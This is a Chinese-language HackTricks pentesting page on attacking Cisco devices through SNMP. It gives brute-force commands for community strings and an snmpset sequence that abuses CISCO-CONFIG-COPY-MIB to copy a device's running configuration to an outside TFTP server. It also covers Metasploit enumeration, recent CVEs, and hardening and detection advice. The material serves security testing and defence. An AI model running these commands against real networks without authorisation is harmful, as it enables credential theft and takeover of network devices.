Cisco SNMP
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Pentesting Cisco Networks
SNMP 通过 UDP 运行,使用 161/UDP 端口进行一般消息传递,使用 162/UDP 端口进行陷阱消息传递。该协议依赖于 community strings,作为明文“密码”,使 SNMP 代理和管理器之间能够进行通信。这些字符串决定了访问级别,具体为 只读 (RO) 或读写 (RW) 权限。
一个经典但仍然极其有效的攻击向量是 暴力破解 community strings,以便从未认证用户提升为设备管理员 (RW community)。执行此任务的实用工具是 onesixtyone:
onesixtyone -c community_strings.txt -i targets.txt
其他快速选项是 Nmap NSE 脚本 snmp-brute
或 Hydra 的 SNMP 模块:
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
通过 SNMP 转储配置 (CISCO-CONFIG-COPY-MIB)
如果您获得了一个 RW community,您可以通过滥用 CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96
) 将 running-config/startup-config 复制到 TFTP/FTP 服务器 而无需 CLI 访问。两种常见的方法是:
- Nmap NSE –
snmp-ios-config
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
该脚本自动协调复制操作并将配置打印到stdout。
- 手动
snmpset
序列
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
行标识符是 一次性 的;在五分钟内重复使用会触发 inconsistentValue
错误。
一旦文件在您的 TFTP 服务器上,您可以检查凭据(enable secret
、username <user> secret
等)或甚至将修改后的配置推送回设备。
Metasploit 资源
cisco_config_tftp
– 通过 TFTP 下载运行配置/启动配置,利用相同的 MIB。snmp_enum
– 收集设备清单信息、VLAN、接口描述、ARP 表等。
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
最近的 Cisco SNMP 漏洞 (2023 – 2025)
跟踪供应商公告对于在参与中确定 零日到 n 日 机会非常有用:
年份 | CVE | 受影响特性 | 影响 |
---|---|---|---|
2025 | CVE-2025-20174 | SNMP 子系统 | 构造的数据包导致在 IOS/IOS-XE (v1/v2c/v3) 上经过身份验证的 DoS (重启)。 |
2024 | CVE-2024-20373 | IPv4 ACL 处理 | 配置错误的 扩展 ACL 静默 失败,允许在已知有效社区/用户时进行未经身份验证的 SNMP 轮询。 |
2025 | (尚无 CVE) | SNMPv3 配置限制绕过 | 有效的 v3 用户可以从应被拒绝的地址进行轮询。 |
可利用性通常仍然依赖于拥有社区字符串或 v3 凭据——这也是暴力破解它们仍然相关的另一个原因。
加固与检测提示
- 升级到修复的 IOS/IOS-XE 版本(请参阅上述 CVE 的 Cisco 公告)。
- 优先使用 SNMPv3 和
authPriv
(SHA-256/AES-256) 而不是 v1/v2c。
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
- 将 SNMP 绑定到管理 VRF,并 使用 标准 编号的 IPv4 ACL 限制(扩展命名 ACL 风险较大 – CVE-2024-20373)。
- 禁用 RW 社区;如果在操作上需要,使用 ACL 和视图限制它们:
snmp-server community <string> RW 99 view SysView
- 监控:
- UDP/161 峰值或意外来源(SIEM 规则)。
CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource
事件,指示带外配置更改。
- 启用 SNMPv3 日志记录 和
snmp-server packetsize 1500
以减少某些 DoS 向量。
参考文献
- Cisco: 如何使用 SNMP 在 Cisco 设备之间复制配置
- Cisco 安全公告 cisco-sa-snmp-uwBXfqww (CVE-2024-20373)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。